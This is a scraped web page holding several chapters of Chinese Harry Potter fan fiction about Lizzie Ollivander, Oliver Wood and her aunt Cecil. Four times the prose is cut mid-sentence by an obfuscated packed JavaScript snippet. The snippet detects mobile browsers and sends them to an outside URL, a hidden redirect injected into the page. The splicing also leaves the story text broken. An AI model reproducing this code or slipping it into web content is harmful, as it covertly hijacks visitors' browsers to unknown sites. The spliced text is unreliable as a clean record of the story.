;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487817|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上留下吃顿饭,但她很清楚海格的厨艺,便称还有事情要回魔法部委婉拒绝了。那只叫巴克比克的鹰头马身有翼兽果然和库尔特说得一样漂亮,若是卢修斯·马尔福要提起诉讼的话,塞西尔一定会冲在一个投反对,可惜她的职位和身份并没有给她投票权,只好寄希望于邓布利多的信,能够牵制住福吉和其他被贿赂了的家伙们。 和莉兹说了几句话,塞西尔便匆匆回到了在伦敦的办公室,这世间只有一楼的部长助理办公室还有人在加班,她在电梯里碰见了准备下班的斯克林杰,对方一如既往不待见她,连一句客套的招呼都没有。 一边敲着打字机,她一边在心里想着,现在情况可以这样理解,这份报告要怎么写本来就不重要,那群人想要不过是一个神奇动物有罪论的结果而已,为了那点不值一提的私心与权力,无法表达自己想法的动物们就可以被摆上审判庭,塞西尔越敲越用力,打字机都仿佛要散架了。 即将写到收尾时,她突然停住了手上的动作,这个调查是九月初就上报了的,申报程序上个星期才走到危险动物委员会,这个星期才送到他们办公室,那么这件事就变得简单了,不就是继续拖延吗,要知道去年圣诞节还有两份投诉被扔在角落里没人理呢,这在魔法部比什么都正常。 这一头塞西尔结束了加班工作要回去了,另一头莉兹也潦草完成了今晚的巡逻任务,和塞德里克在楼梯口互相道了晚安,她正要上楼去,见走廊里好像有个人影,懒得叫塞德里克回头,她便自己一个人走了过去。昏黄的灯光照不清人的模样,倒是脚踩到了什么软绵绵的东西,一溜烟窜没了,像是只老鼠。 又走近了几步,只见那个人脚边的地砖湿漉漉的,而轮廓也越看越熟悉,莉兹试探性开口问:“奥利弗?” 伍德抬起头来,水珠顺着发丝一滴滴滑落,眼里满是失落,他手里捏着一封落款是米歇尔·奥利凡德的官方信件,已经是皱巴巴被浸湿了的样子。一见到莉兹,他便慌乱地站起身:“我……我马上就回寝室。” “我倒是建议你先去级长盥洗室泡个热水澡。”莉兹念了个咒语烘干了他的头发。 “我会去的。”伍德眼里的失落是一点都藏不住。 “米歇尔寄来的?”莉兹本想装作没看见,但最终还是没能忍住。 “是的,”伍德垂下头把信件塞进牛仔裤口袋,“我也不是没预料到,但还是有点……” 连续六年没有拿到过学院杯的选手,能够被选中成为职业队候补,奥利弗·伍德是绝对有实力的,只不过学院杯就好比敲门砖,国家队的选拔要求总是如此死板不知变通。当然了,这些道理莉兹觉得伍德应该比她还清楚,否则他在赛季动员会上对着格兰芬多的大家也说不出那些足以打动人的真心话。 两个人沉默地肩并肩慢慢走上楼,伍德的语言表达能力不足以说出自己现在这种复杂的心情,而莉兹认为这个时候她说什么都没有意义,直到在必须分开的楼梯口,而楼梯又经历了最后一次变化的间隙,她默默倒数着时间,抬头看向了男孩的眼睛。 “奥利弗你知道吗,”她微微一笑,“胜利不会辜负认真的人,相信我。” 视线接上的同时,伍德的脚步顿住了两秒,两手攥着拳头贴在身体两侧,深吸一口气走上了两节台阶,张开双臂将她拥入怀中,埋头倚在她的肩头,伸手轻抚她的头发。 心跳的声音在脑海中被放大了好几倍,莉兹耳边传来:“我永远相信你。” 30. 约会?不是约会 这天早晨费尔奇扛着梯子从公告栏前往回走,他跛着脚走不快,差一些被一拥而上的学生们绊个跟头,他不满地嘟囔着,故意用梯子碰倒了几个人。站在一边的莉兹还好躲得快,奈何她的身高并不沾光,视线被两个身材高大的赫奇帕奇学生挡得严严实实,她踮脚尝试昂头看一眼,最后发现只是一种徒劳于是她决定等着玛丽埃塔那个大嘴巴的转述。 正要转身离开时,莉兹发现有谁在她身后靠近了半步,趁她不注意之时两手托住她的腰,将她抱离了地面腾了空。 人多的场合若是大喊大叫也太丢人了,莉兹瞪着眼睛想回头去看究竟是谁做这种“好事”,接着便听到了身后传来的声音:“小古板女士看到通知写什么了吗,告诉我们听一下呗。” 莉兹不情不愿皱着眉看向了公告栏,上面写着——本周末三年级及以上的学生被允许前往霍格莫德村。同时心在想,终于定下时间了,没有被西里斯越狱的事情影响真是太好了。 她没好气地警告身后的人放自己下来,转过身韦斯莱双胞胎兄弟俩一左一右歪头朝她笑着。平时这种场景下几乎没人能认出他们究竟谁是弗雷德、谁是乔治,但莉兹还是根据刚刚的站位,迅速反应过来,狠狠踩了乔治的脚。 吃痛的乔治嗷嗷叫着,而始作俑者弗雷德却低着头笑得肩膀颤抖,留意到这点的莉兹才发现自己报复错对象了,可她又不是什么错就要认的老实人,便只是哼了一声钻出了拥挤的人群,往下一节课的教室走去。 “开个玩笑嘛,大不了周末我们请你吃太妃糖冰淇淋,”弗雷德扯着兄弟的巫师袍子大步追上去,“他买单。” 听到有甜品吃,莉兹果然态度松动了不少,她放慢了脚步,瞥向兄弟俩时乔治还配合地对着她挑了挑眉。 “你们还分两个钱包呢?”她调侃道。 “当然了我的是我的,他的还是我的。”弗雷德笑嘻嘻地说着,顺便还躲开了乔治的偷袭。 预备铃响起来,本来还在慢悠悠看戏的莉兹瞬间像是想起了什么似的,飞速朝着黑魔法防御课教室奔跑而去,双胞胎虽说不明所以,但也跟着一起跑起来。 “我完全忘记了,今天是斯内普代课!”莉兹喊道。 气喘吁吁在最后一刻溜进教室,莉兹利用显眼的兄弟俩作掩护,凭借娇小的身姿神不知鬼不觉找到了空位坐下,而他们则没有这么好的运气,讲台上的斯内普直接开口叫住了俩人。莉兹摸出课本挡着脸回头看他们,这下偷笑的人便换成了她。 又是一段尖酸刻薄的嘲讽,斯内普给格兰芬多扣了十分之后总算是进入了教学状态。 莉兹听着指令翻开相应的书页,只是心思都在周末的行程上。除了要买些糖果填充她的零食库之外,她还准备带着扫帚去德维斯和班斯商店。整个暑假的消耗让她的扫帚减慢了提速,她得赶在赛季开始前做一次保养。 和卢平风趣幽默的教学风格完全不同,斯内普无论教什么都是那么死气沉沉的,若是魔药学课倒还好一些,莉兹总能在斯内普对其他学生的挑刺挖苦中学到点有用的窍门。可黑魔法防御课这样注重实践的课,却只能在这里听他念教材,实在是太无聊了。 霍格沃茨那么多个老师,卢平教授竟找不出一个能帮他代课的人了,怎么会每次都是斯内普,毕竟他们二人看起来也不像是关系亲近的朋友。 课后莉兹都来不及和兄弟俩说句话,他们就已经消失在了教室后排,不知是为了躲避斯内普,还是忙着做其他的什么。直到她经过走廊看向往球场的那条路,安吉丽娜和凯蒂也拿着扫帚匆忙地跑着,原来又是为了魁地奇训练。 正如帕特里克前两日说的——奥利弗真是疯了,伍德见缝插针包下了球场的所有空闲时间,压根没有一个队长能抢得过他,更何况塞德里克还摆出一副“随他吧”的态度,简直是助长了伍德的疯狂。 自从先前在雨夜里的偶遇之后,莉兹很少和伍德碰面,加上教算术占卜课的维克多教授又劝退了一批学生,里面便有七年级的奥利弗·伍德。她只有时不时在开级长会议的时候从塞德里克那里听到关于他的事情,似乎那晚的安慰并没有起到什么正面效果,反而是让伍德更紧张了。 “你怎么看起来很高兴的样子?”见塞德里克说起自己的好朋友精神紧绷的样子却是满脸的笑容,莉兹当时没忍住反问道。 “他要是拿着拒绝信躲在哪里哭的话,我才会觉得天塌了。”塞德里克对着她摇摇手指。 话音刚落,那个依靠在自己肩头的身影又回到了她的眼前,莉兹顿了两秒没有立刻回话,最后是附和着点了点头。 漫长的一周时间总算是熬到了头,周六一大早兴奋的玛丽埃塔在宿舍里试了一条又一条裙子,尽管秋小声提醒她不要吵醒还在赖床的莉兹,但是她只是随口应着说反正莉兹总是起不来的。她的心思都在今天的约会上,完全在意不了其他事情。这可是戴维斯跟她的第一次约会,他们说好要在帕笛芙夫人茶馆一起吃松饼,为此玛丽埃塔从昨晚起就在挑选穿出门的衣服。 帕德玛其实也醒得很早,升上了三年级以后她终于有机会去到霍格莫德村,经常听宿舍里的她们说蜂蜜公爵糖果店的甜品还有传说中闹鬼的尖叫棚屋,她跟姐姐帕瓦蒂先前已经商量好要一起去瞧瞧鬼屋里有什么了。 莉兹缩在被子里尝试着让自己忽视床帘外的动静再睡半小时,然而玛丽埃塔的声音穿透力一如既往强大,她放弃赖床翻身坐起,凌乱的卷发顶在头上,配上那双银色的眼睛和戒备的眼神,像是误入人类世界的小动物。 “你马上会和我们一起过去吗?”见莉兹下了床对着镜子对付那头卷发,秋问道。 还在调整思考速度的莉兹,停住了手上的动作,接着缓缓转过头:“你们先去吧,我要去拿飞天扫帚。” “还以为你要和格兰芬多那个队长一起去呢?”玛丽埃塔选中了一条红黑格子的连衣裙,说这话的时候她拿起魔杖给腰带施了一个咒语,长长的腰带在身后系成了一个大蝴蝶结,看起来像是翅膀一样。 莉兹一边是接受不来这种夸张的审美,另一边是不喜欢搭理这种无聊的话题,潦草套上了牛仔裤,拉上外套拉链就出了寝室门。 跟着大部队到达了霍格莫德村,莉兹埋头就往大路尽头的德维斯和班斯商店奔去,半路上碰见安吉丽娜,她邀请说中午在三把扫帚一起吃烤肋排,还有弗雷德他们也在。莉兹回说看保养情况再说,让他们不要等她了。 商店门被推开时在柜台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487818|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前站着的人刚好转过头,两个人看到了彼此都愣在了原地,不过莉兹恢复得更快一些,她把飞天扫帚拿给老板,开口询问:“您好,我需要保养扫帚,主要是提速功能出了点毛病。” “哦可以的,但是您可能要稍微多等一会儿,这位先生是先来的。”老板接过了扫帚解释道。 莉兹瞥了一眼身旁的人:“没关系,我不赶时间。”说罢她走向了里面的货架,站在了各式各样的魁地奇道具之前,装作在挑选的样子。 “没想到……没想到在这里碰见了。”伍德挠了挠后脑勺走过去和她打招呼。 “这应该是我和你能够遇见的可能性最高的地方吧。”莉兹说话的口气和平时没什么区别,这让伍德反倒是觉得别扭了起来。 因为他至今都在为那个台阶上的拥抱而耿耿于怀,如果可以的话,他确实不希望自己会以那种形象留在莉兹的心中,可要是一点印象也没有给莉兹留下的话好像也很糟糕。 “这是明年魁地奇世界杯使用的新鬼飞球,比我们现在用的要轻十公克。”伍德指着莉兹拿起的球说道。 “哦,是吗?”莉兹的回应不冷不热的,似乎在说着这不是她想听的话似的。 “克鲁姆被选进保加利亚大名单了,”伍德苦笑道,“他比我还小一岁呢。” “守门员位置消耗少,英格兰大名单里本来叶就只有两个。”莉兹在心里叹气想着这家伙估计不会聊其他事情了,“你今天就一个人来的?” “塞德本来说是和我一起的,不过半路就找不到人了,”伍德犹豫了一下,然后问道,“你一会儿中午有约了吗?” 莉兹刚想说他的队员们在三把扫帚聚会,转念又觉得让大家喘口气,总不能时时刻刻被魁地奇队长压迫着,于是她反问说:“如果没有约的话,你会请我吃巧克力松饼吗?” 当他们两个人出现在帕笛芙夫人茶馆的时候,格兰芬多魁地奇队长和米歇尔二代约会的传闻宛如插上了翅膀似的,在短短一个白日内飞遍了整条霍格莫德大街。 七年来从未卷入过任何浪漫关系的伍德,自然不知道这里是作为霍格沃茨学生约会圣地而出名的,而莉兹不能说是不清楚,她只能说是无所谓,人和人的关系怎么能被一间餐厅定性,再说了这里的巧克力松饼确实挺好吃的。 和他们隔了两桌的戴维斯的注意力一直在莉兹身上,他本就看不惯莉兹在赛季期间总是和格兰芬多的球员腻在一起,每次不是和韦斯莱双胞胎打闹,就是和伍德交头接耳的,连上课都要和安吉丽娜同组写论文,真不知道她还有没有一点自己是拉文克劳魁地奇球队成员的自觉。 过了一会儿,塞德里克和秋一前一后一起进门,他先看见的是靠窗坐着的莉兹,好奇地探头发现对面坐着的竟是自己的好朋友奥利弗·伍德,他疑惑地后退了半步,找了张离得比较远的桌子坐下,决定不打扰他们。 不过瞧瞧那桌的氛围也能知道,很显然店里的浪漫元素并没有影响到他们,莉兹沉浸在甜点的美味之中,而伍德只觉得她吃东西的样子很有意思,总是塞进很大一块,腮帮子变得圆鼓鼓的,直到他的视线捕捉到莉兹伸出舌头舔去嘴角的糖浆时,他才突然避开了目光,不经意地低下头揉了揉发烫的耳朵。 31. 万圣夜不速之客 碰上了难得不用上班的万圣节前夜,尽管在塞西尔看来,这就是个再寻常不过的周六,但还是在看房东太太站在门前发糖的时候,后退了几步转身走开了。毕竟一个人在房间里喝闷酒的日子多的是,不用非是今天。 兜兜转转不知去向何处,塞西尔最后来到了对角巷,道路两旁的灯被临时变成了南瓜形状,头顶有很多黑色蝙蝠飞来飞去,它们挥着翅膀洒下了亮晶晶的闪粉,像是被加了会让人兴奋的魔咒。 很多年轻巫师们盛装打扮,在灯光与闪粉下狂欢,突然间被包围了的塞西尔便拿出魔杖,对着自己翠绿的头发戳了两下。短发立刻像触电一样飞起来,一个个金色光球挂在发梢处,身上黑色的巫师袍也变成了亮橙色的流苏裙,她伸手接过了身边人递来的饮料,是透明的紫红色液体冒着白色的烟,毫无戒备地一饮而尽。 竟是热巧克力的味道,就像霍格沃茨厨房会做的那种,她笑着对刚刚的人说:“再来一杯。” 那人却在此时伸出左手,于是塞西尔识相地摸出几个银西可扔过去,对方就送来了第二杯。 她一路走着一路喝着,不知道喝了多少杯,只知道自己的脚步发飘,大脑晕乎乎,眼前的一切都像罩上了一层粉色光晕,美妙得像是天堂。隐隐约约中她听见有人在叫她,那声音从远处传来又逐渐没入沉寂。 “西西……西西,西西!” 老奥利凡德看见了在店外的台阶上坐着的小女儿,她倚着橱窗玻璃半睁着眼睛,一半脸在笑,另一半脸在流泪,见喊了半天都没有回应,他弯腰费力地将塞西尔扶到店里的摇椅上,接着回身翻箱倒柜去找醒酒药剂。 口中热巧克力的味道逐渐变成了潮湿苦涩的湖水,也在同时提醒了沉浸在迷梦中的塞西尔,她努力地瞪大双眼,伸长胳膊够到工具箱里的刻刀,对着自己的大腿狠狠地划了一道,鲜红的血顺着腿流进靴子里。 “哦我的孩子,”平日里总是语速平和像是神游在另一个世界的老奥利凡德惊讶地喊了出来,他抢过了刻刀问道,“你这是在做什么!” 塞西尔皱着眉头没有理睬父亲的关心,她现在看东西还有些重影,艰难地起身在桌上翻找着,把一块月长石砸成了粉末状丢进壁炉前煮着的热红酒里,然后舀出一勺喝下肚。 只见她踢开地上刚刚被自己拿在手里的酒杯,瘫坐回椅子上,按着眉心和老奥利凡德说道:“饮料有问题,可能是迷乱剂或者是欢欣剂,我……”* 顿了一下,塞西尔把后面的“我被下咒了”咽回去没有说全。 而老奥利凡德也没有再追问了,他只是轻声念着治疗恢复的咒语给她的伤口止血,然后把那间莉兹常常睡的隔间简单收拾了一下,出来便说:“今晚留下吧,罗里不会过来的。” 听到了哥哥的名字,塞西尔直起了身,又在看到父亲苍老的脸时放松了下来,她点点头,这样的节日里并不非要一个人过。 这一晚她在熟悉的小床上沉沉睡去,一夜无梦,却很不凑巧地,因此错过了邓布利多的猫头鹰——被塞进窗缝里的那封信上写着:“布莱克已闯入霍格沃茨,速与莱姆斯联系。” 自从前两年传闻中的哈利·波特入学后,几乎每年大家的学校生活不算太平,但是像这一次的事情还是前所未有的。 万圣节晚宴全部结束时已是上半夜,莉兹差不多是最后几个离开礼堂的,她揉着撑得圆鼓鼓的肚子站起身,斯莱特林魁地奇球队的几个大块头非常不礼貌向她投来了嘲笑的眼神,而她毫不在意,只是缓慢地走在回拉文克劳公共休息室的路上。 结果刚到楼梯口就看到了邓布利多校长迈着稍有些急促的步伐走下来,他经过时叫住了莉兹:“奥利凡德小姐,请你通知弗立维教授,让他将学院的学生全部领回礼堂,一个都不能少。” 不一会儿功夫,空荡荡的礼堂又变得热闹起来,四个学院所有人都聚在一起,地上甚至还放着几百个邓布利多变出的紫色睡袋。 老师们刚一关上大门,格兰芬多的学生便四散到各个角落,把刚刚发生的事情讲给其他学院的学生听,有的人说得剪短,有的人则是添油加醋讲得精彩纷呈,尤其是李·乔丹,他和韦斯莱双胞胎两个人一边夸张地摆着胳膊比划,一边声情并茂地叙述。 莉兹很难不被那边的动静吸引,直到珀西伸手在她眼前打了个响指提醒她集中注意力。 “我知道你们都很好奇发生了什么,但老师不允许我们随意谈论。”珀西昂起头瞥了一眼莉兹,眼神里满是傲慢的情绪,仿佛老师走了之后就由他一人做主了似的,“我只能告诉你们那个小天狼星可能正在学校里游荡着,不知何时就会现身杀死我们中的某一个人。所以你们要提高警惕,身为级长就要做好表率,马上按照今晚的巡逻安排分组守在门前,不允许一个学生跑出去。” 某一个人?你还不如直接点名道姓说是那位波特呢,莉兹在心里念叨着的同时偷偷低头翻了个白眼。 然而珀西·韦斯莱这十足拿腔拿调的模样,又被身后的弗雷德和乔治瞧见了,他们便模仿着珀西说话时的姿态在搞怪,逗得面对着他们的级长们忍不住笑出声来。不过莉兹又侧身在和身旁的塞德里克凑在一块说着什么,完全忽略了双胞胎的表演。 时间已经不早了,不过这种像睡衣派对一样的机会实在难得,珀西扯着嗓子训斥所有人的时候,根本没有人在乎他究竟在说什么,大家只是自由地挪动着睡袋,很快关系亲近的同学们便三五成群凑在一起。而玛丽埃塔恨不得将睡袋搬到门边上,这样就能和值夜的戴维斯靠在一起了。 与只会不动脑筋喊叫的珀西不同,塞德里克和莉兹两个人在分配床位方面达成了共识,他们引导低年级睡到中间靠里的位置,让高年级都睡到外面一圈来。尤其是像伍德这种五大三粗的魁地奇选手,自然应该承担起责任,他的睡袋被放在了距离正门最近的位置,对面的就是塞德里克和莉兹。 在有秩序的安排下,礼堂里的嘈杂声也逐渐消失,只有珀西还在不停地对着说小话的学生大呼小叫。莉兹摇了摇头,干脆抬手一挥魔杖熄灭了上空所有的蜡烛,用行动让这位男生学生会主席少说两句。 被安排守上半夜的莉兹安静地背靠着墙根坐着,而需要守下半夜的塞德里克已经钻进睡袋中,此时伍德悄悄地又睁开了眼睛,他看到月光透过玻璃花窗,微弱地照亮了莉兹的侧脸,落下浅浅的一层半透明白色在睫毛上,然后是鼻梁,再之后是紧紧抿起的嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487819|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇,她嘴角蹭上糖浆的模样又一次填满了他的脑海。 而下一秒,女孩将视线转向了他,稍稍抬了抬眉毛,接着用口型提醒道:“奥利弗,快睡觉。” 立刻羞红了脸的奥利弗·伍德把头也缩回了睡袋,身子蜷缩着,整个人仿佛一条巨大的毛毛虫,他的反应让莉兹觉得很有意思,只好是别过脸捂住嘴,她将笑声忍下去。 结束了这神奇的一晚,在接下来的日子里全校人仍然没有放过西里斯·布莱克的话题,哪怕老师们旁敲侧击让大家不要过分揣测了,可很显然这只起到了反效果。无论是早晚餐时间还是课间或是其他休息时间,总是能看到学生们七嘴八舌假设着他进入霍格沃茨城堡的方式。 若是没有人讨论才奇怪呢,莉兹时常觉得老师的思维方式也是出奇的简单而粗糙,不能把学生们都当成是没有独立思考能力的芦苇吧。只不过对于伍德来说这些满天飞的离奇流言实在算不了什么,毕竟最重要的第一场比赛就要开始了,而麦格教授竟然不允许哈利参加训练。 周二的下午,塞德里克和往常一样在老地方找到了伍德,只是没料到推开办公室门时便看到莉兹手拿一本他从未听说过的书,托着腮看得津津有味,而她面前的伍德义愤填膺地大声控诉着。 “梅林啊真是难以相信,难道布莱克会在大白天的魁地奇球场里掳走一个学生吗?”伍德双手一拍办公桌,整张台面都晃了两下。 “既然能神不知鬼不觉在没有魔杖的情况下闯进来,你提出的这件事也并非完全没有可能。”莉兹说话时,目光依旧停留在书上,语气平淡得像个冷面笑匠。 塞德里克拉开椅子坐下,习惯性将从斯普劳特教授那里顺来的甘草糖分给两个人,接着开口说:“怎么掳走,飞来咒?” 接过了糖含在嘴里,莉兹抬起头来:“飞来咒不能召唤人。” “那先用变形咒变成鬼飞球,然后再用飞来咒。”塞德里克继续打趣说。 “魁地奇球场有那么多练习用的鬼飞球,最后分不出来的话不是很可怕吗?”莉兹配合着一起讲下去。 “你们两个人……”忍无可忍的伍德又拍了一下桌子,“我在说正经事!” “麦格教授那么在乎学院杯,你再和她谈谈嘛。”莉兹拿出嘴里的糖,歪头看向他说。 见到那根甘草棒棒糖被她舔得亮晶晶的,伍德又不受控制地涨红了脸。 脑海中先是闪过今早在走廊拐角不巧撞见珀西和佩内洛正抱在一起的画面,而后又想起前一晚寝室里男生们的聊天,他装作训练太累提前睡了,而其他几个人竟在睡前发誓一定要在七年级毕业前亲吻一次女生才行,他们不能就这样丢脸地离开霍格沃茨。 这可太糟糕了,魁地奇之神救救他吧,他是真的没办法思考周六的比赛了。 *迷乱剂(ConfusingandBefuddlementDraughts),成分为喷嚏草,坏血草和独活草,效果是致人混乱。 欢欣剂(Euphoria),成分未知,在混血王子的药方中包括一枝椒薄荷,效果是使服用者感到愉快。 月长石是制作缓和剂(DraughtofPeace)的重要成分。 32. 天才也会纠结 可以看得出来,这几天对于莱姆斯·卢平来说并不好过,塞西尔先是走过去带上了窗帘,遮挡住日渐盈满的月亮,接着将烧热的水倒进放入了薰衣草干花的茶杯里,一边搅拌着一边缓缓挪到他面前。她犹豫了一阵还是没说话,伸手拉开靠门一侧的椅子坐了下来,同时偷偷给房门施了两个驱逐麻瓜和防窃听的咒语,然后看向卢平。 侧身对着她的男人始终低垂着头,没时间打理的花白头发掩住他的半张脸,似乎自从确认西里斯出现在霍格沃茨之后,卢平的状态便直转而下,尽管他可以将一切都赖在月亮上,但事实上他很清楚,那和月亮毫无关系,和除了他以外的一切都没有关系。 很显然,卢平会出现在这里是因为邓布利多的那封信,然而塞西尔已经在回信中提到等她从巴黎出完差,三天后傍晚六点在猪头酒吧见面。怎料到回伦敦当晚的深夜里刚回到公寓时,这个男人便已经在房里站着了。 结果他现在却以同样的姿势就这么坐着,整整十分钟都未说过一句话,忍耐限度到达顶峰的塞西尔不满地用指节敲了敲桌子,“莱姆斯,我觉得我们好像还不是能坐下来沉默着能够不尴尬的朋友关系,我可以原谅你擅自进入我的房间,但是你如果还不准备说话,就滚回霍格沃茨上课吧,卢平教授。” “抱歉,”男人木然地喝了一口薰衣草茶抬头看她,“邓布利多暂时没有通知魔法部关于西里斯的事情,不过我们确认了他的确进入了霍格沃茨,”他顿了一下,“斯内普在怀疑我。” “邓布利多先生难道想找我帮你证明清白吗,”塞西尔哼了一声,“这可太荒唐了,我只是魔法部一个小职员。” “信是我寄给你的。”卢平直起身来。 “你不是一直都觉得我是个大麻烦吗,”塞西尔皱起眉不解地看着面前这个男人,“居然还用邓布利多先生的名义骗我。” “我想我知道西里斯是怎么进到霍格沃茨的,”卢平两手捏住手里的茶杯,“我需要找到时机和邓布利多说这件事,现在不是个好时候。” “你是个狼人这件事都不能算是最大的秘密,你还能有什么不能说的?”塞西尔伏着餐桌靠近他,直勾勾盯着他的眼睛,看到的竟是内疚的情绪,“你要是再露出这样的表情,就算我不是斯内普那个家伙,我也可以合理怀疑你有问题。” “塞西尔,你是个易容马格斯吧。”卢平居然先把话题扯到了她身上。* “有证据就去禁止滥用魔法办公室举报我,”塞西尔翻了翻眼珠子,“需要我把我的名字拼写都写给你吗?” “那天晚上出现在格兰芬多休息室的是一条狗,而西里斯·布莱克是一个非法阿尼马格斯,他可以变身为黑色的长毛犬。”卢平深吸一口气,接着没有任何停顿地说出了这句话。 “你的意思是你觉得那条狗就是布莱克,并且除了你没有人知道他是阿尼玛格斯。”塞西尔犹疑着看了卢平一眼,像是想起了什么似的说,“上学的时候我常常偷跑去禁林玩,有段时间人马说总有学生到这里来恶作剧。他们误以为是我,差点跟我起了矛盾,要不是费伦泽,你现在也见不到我。” 她停顿了两秒钟,“原来是你们,只不过……哦不,没关系,我了解到这个程度就够了,不然我们就真的要做朋友了。” 听到她的话,卢平的眼神里闪过一丝很奇妙的情绪,但很快又被他压了下来,他接着说:“塞西尔,我不知道如何跟你解释,但是我相信西里斯没有伤害过詹姆、莉莉还有彼得,我也知道我这么说很疯狂,但是我认识的西里斯不会做出这样的事情,我相信他。” 男人松开拿着茶杯的手,双手紧握在胸前,认真而诚挚地看着塞西尔:“我们无法成为朋友,可是我想你会理解我。” 缓缓向后靠在椅背上,她背着身用魔杖轻敲房门锁,塞西尔昂起头来收起了刚刚开玩笑似的表情,凝重的神色回到了她的眉间,仿佛听到了什么不应被听到的事情一般,可在男人说出“相信”一词的时候,眼前倏然出现了那个紧紧攥住邓布利多的斗篷的年轻女孩,她不停说着:“求求你,他没有做坏事,求求你,帮帮他。” 沉默着同他对视了一会儿,塞西尔最终选择了起身帮他打开了门:“总之你给的情报我会好好利用的,慢走不送。” 话都说到这个份上了,莱姆斯·卢平当然是识相地离开了,站在二楼窗台的窗帘后面,塞西尔探头看着男人的背影,还是那副垂着头直不起腰的模样。算了,谁还没失去过朋友呢,想到这里她摇了摇头,决定抽空偷偷去趟霍格沃茨,让禁林里的老朋友帮着一起找大黑狗。 “黑色的……狗?”她突然停住了动作自言自语道,“好像什么时候见过,到底什么时候?” 早知如此平时就少喝点酒了,塞西尔嘴上这么说着,还是习惯性走向了碗柜,从最底层翻出一瓶喝了大半的威士忌,把它倒进刚热好的一杯巧克力里。接着摊开昨日莉兹寄来的信,前半段还划掉了几行,重写了两段话。 亲爱的塞西尔 这封信本来应该在万圣节就寄出去的,可是那天晚上出了意外(我想你应该已经知道了),晚宴之后我们被关在礼堂整整一夜,我实在没办法溜去猫头鹰棚屋。而且我们那位学生会男生主席严厉禁止我们与家人谈及布莱克的事情,总觉得我在这个时候想要送信是别有用心。 我想班克应该已经把那袋南瓜糖偷吃得差不多了吧,真是贪吃的东西,下次我换只猫头鹰,蜂蜜公爵的新品非常好吃,我想让你也试试。 之前一直忘记和你说,卢平教授的课很有意思,我很久没有碰见这么有趣的老师了,而且我也是第一次见到活生生的博格特,我还以为它会变成妈妈的样子呢,结果卢平教授说我是个勇敢的孩子,因为博格特都读不出我的恐惧,一直在变化。但如果再给我一次机会,我想等到它不再变化的那一刻,让它告诉我到底最怕什么。 其实我这次写信给你也没有什么特别的事情想说,我就是很好奇,塞西尔姑姑你以前有没有觉得很想和谁待在一起,不管是什么时候、什么场合,就是只要待在一起就够了。 总而言之,这个问题也不是很重要,你最爱的伊莉莎问你好! 莉兹 实际上写这封信的时候,莉兹正好就坐在训练场的办公室里。 下午刚和伍德一块儿从霍格莫德村回来,两个人骑着护理完到飞天扫帚在场地里试飞了好几圈,才注意到塞德里克提着一大袋南瓜糖,站在边上笑盈盈地看着他们俩。后来天色晚了起飞有些凉,三人便和往常一样躲进办公室等待晚宴开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487820|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始。 那时候莉兹掂量着手里很有分量的南瓜糖,很快就决定要把吃不完的那部分送给塞西尔当作万圣节礼物,而当她坐下开始写信时,却不知怎么在最后就转向了那个奇怪的问题。一旁的塞德里克见她思考得那么认真,还假装探头想知道她在想什么,最后倒是差些被莉兹用挠痒咒伺候。 一开始她还会时不时在脑海里纠结着是不是应该把最后几句话删掉,但寄出去后两三天也没等到回音,莉兹想大概是塞西尔又在外忙工作了,而她的生活里不仅充满了似乎永远写不完的各科论文,还有永远开不完的级长会议,以及伍德永远不会停止谈论魁地奇的声音,很快就将信里的事情抛到了脑后。 况且周六就这样来了,踏着沉重的脚步,伴着虎啸般的风雨,几乎刮走了格兰芬多所有人心里的底气,现在还未上场,每个人的斗篷就已经被雨淋湿在不停滴着水珠,伍德觉得自己的心情不会变好了,他甚至没有精力给队员们说出多一句打气的话。 前一日他差点跟弗林特当着霍琦夫人的面打起来,原因是斯莱特林竟然以找球手伤病为理由休赛,把第二轮的赫奇帕奇换到了第一轮。 “那个三年级男孩根本没有伤!”伍德指着弗林特怒吼。 “我有圣芒戈医院的证明。”弗林特把头昂得高高的,“奥利弗宝贝,和你的好兄弟抢学院杯去吧!” 